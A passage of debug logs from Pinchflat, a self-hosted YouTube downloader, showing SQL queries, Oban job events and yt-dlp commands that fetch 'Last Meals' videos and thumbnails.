1 [] 22:44:34.809 [debug] QUERY OK source="settings" db=0.0ms idle=1622.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:34.810 [debug] QUERY OK source="settings" db=0.1ms idle=746.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:34.811 [info] Sent 200 in 2ms 22:44:54.272 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rX5WCm0_flI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9d/37/9d3773381ff884a03b62b88a78b35de8c56efb24ea86a0389ce1b8bd4fc5061b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:44:54.281 [debug] Running yt-dlp command for action: download_thumbnail 22:44:54.289 [debug] QUERY OK source="settings" db=0.0ms idle=226.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:54.289 [debug] QUERY OK source="settings" db=0.0ms idle=226.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:54.289 [debug] QUERY OK source="settings" db=0.0ms idle=226.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:54.290 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rX5WCm0_flI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/101/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/fb/86/fb86b8ad8e5f0ee40f68acdf0472831d75040e4db8e099cd56fbe848ecc0d944.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:44:56.872 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rX5WCm0_flI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/101/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/fb/86/fb86b8ad8e5f0ee40f68acdf0472831d75040e4db8e099cd56fbe848ecc0d944.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:44:56.872 [debug] QUERY OK db=0.0ms idle=809.0ms begin [] 22:44:56.873 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:44:54Z], "/downloads/Last Meals/2026-01-29 Jennette McCurdy Eats Her Last Meal/Jennette McCurdy Eats Her Last Meal [rX5WCm0_flI].mp4", ~U[2026-03-28 02:44:56Z], 101] 22:44:56.873 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/101/metadata.json.gz", "/config/metadata/media_items/101/thumbnail.jpg", 101, ~U[2026-03-28 02:44:56Z], ~U[2026-03-28 02:44:56Z]] 22:44:56.873 [debug] QUERY OK db=0.0ms commit [] 22:44:56.874 [debug] QUERY OK source="media_items" db=0.4ms idle=810.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [946177382, ~U[2026-03-28 02:44:56Z], 101] 22:44:56.874 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:44:56.874 [info] {"args":{"id":101},"id":100,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":267831843,"event":"job:stop","queue_time":6678042341,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:44:56.875 [debug] QUERY OK source="tasks" db=0.2ms idle=647.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:56.875 [debug] QUERY OK source="tasks" db=0.3ms idle=811.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:56.875 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [103] 22:44:56.875 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [103] 22:44:56.880 [info] {"args":{"id":104},"id":103,"meta":{},"system_time":1774665896880621592,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:44:56.881 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [104] 22:44:56.881 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:44:56.881 [debug] QUERY OK source="tasks" db=0.4ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:56.881 [debug] QUERY OK source="tasks" db=0.5ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:44:56.881 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:44:56.881 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [103, 104] 22:44:56.881 [debug] QUERY OK source="media_items" db=0.1ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [103, 104] 22:44:56.882 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:44:56.882 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [104] 22:44:56.882 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [104] 22:44:56.882 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:44:56.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:56.883 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:56.883 [debug] Running yt-dlp command for action: get_downloadable_status 22:44:56.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:56.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:56.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:56.884 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1I8LiVAyYVg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/ff/2bffa9ad927cb6d47e9646cb770c4f822aa15af15c3424259624fbd67907ba8e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:44:58.949 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:59.339 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1I8LiVAyYVg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/ff/2bffa9ad927cb6d47e9646cb770c4f822aa15af15c3424259624fbd67907ba8e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:44:59.339 [debug] Running yt-dlp command for action: download 22:44:59.340 [debug] QUERY OK source="settings" db=0.3ms idle=1276.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:59.340 [debug] QUERY OK source="settings" db=0.0ms idle=1276.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:59.340 [debug] QUERY OK source="settings" db=0.0ms idle=1110.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:44:59.340 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1I8LiVAyYVg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9b/77/9b772a23d5fdfe2dfa3393a93d368e2ee7659a97368545fe7dacc46b34f97daa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:45:00.684 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:28.951 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:32.086 [info] GET /sources/1/media/113/edit 22:45:32.087 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "113", "source_id" => "1"} Pipelines: [:browser] 22:45:32.087 [debug] QUERY OK source="media_items" db=0.3ms idle=1024.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 22:45:32.088 [debug] QUERY OK source="settings" db=0.1ms idle=795.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:32.089 [debug] QUERY OK source="settings" db=0.2ms idle=25.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:32.090 [debug] QUERY OK source="settings" db=0.2ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:32.091 [info] Sent 200 in 5ms 22:45:58.953 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:59.101 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=isED-J6FRI0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/50/07/500720ff3d88aba2c60c95b126ee46ffea834f369c9900d02d024e4cf945a67d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:45:59.111 [debug] Running yt-dlp command for action: download_thumbnail 22:45:59.112 [debug] QUERY OK source="settings" db=0.0ms idle=1048.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:59.112 [debug] QUERY OK source="settings" db=0.1ms idle=1048.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:59.112 [debug] QUERY OK source="settings" db=0.0ms idle=1048.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:59.112 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=isED-J6FRI0 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/103/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/25/6a/256a62db20c6ccf5314a8efc54094600ea2e617d58e5acdcb1bc153d6f3e9c7d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:46:00.685 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:01.963 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=isED-J6FRI0 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/103/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/25/6a/256a62db20c6ccf5314a8efc54094600ea2e617d58e5acdcb1bc153d6f3e9c7d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:46:01.963 [debug] QUERY OK db=0.0ms idle=1621.6ms begin [] 22:46:01.972 [debug] QUERY OK source="media_items" db=8.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:45:59Z], "/downloads/Last Meals/2023-07-06 Gabriel Iglesias Eats His Last Meal/Gabriel Iglesias Eats His Last Meal [isED-J6FRI0].mp4", ~U[2026-03-28 02:46:01Z], 103] 22:46:01.972 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/103/metadata.json.gz", "/config/metadata/media_items/103/thumbnail.jpg", 103, ~U[2026-03-28 02:46:01Z], ~U[2026-03-28 02:46:01Z]] 22:46:01.972 [debug] QUERY OK db=0.0ms commit [] 22:46:01.973 [debug] QUERY OK source="media_items" db=0.6ms idle=1287.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [286757132, ~U[2026-03-28 02:46:01Z], 103] 22:46:01.973 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:46:01.974 [info] {"args":{"id":103},"id":102,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":98355127,"event":"job:stop","queue_time":6909618393,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:46:01.974 [debug] QUERY OK source="tasks" db=0.2ms idle=910.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:01.974 [debug] QUERY OK source="tasks" db=0.2ms idle=631.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:46:01.974 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [104] 22:46:01.974 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", 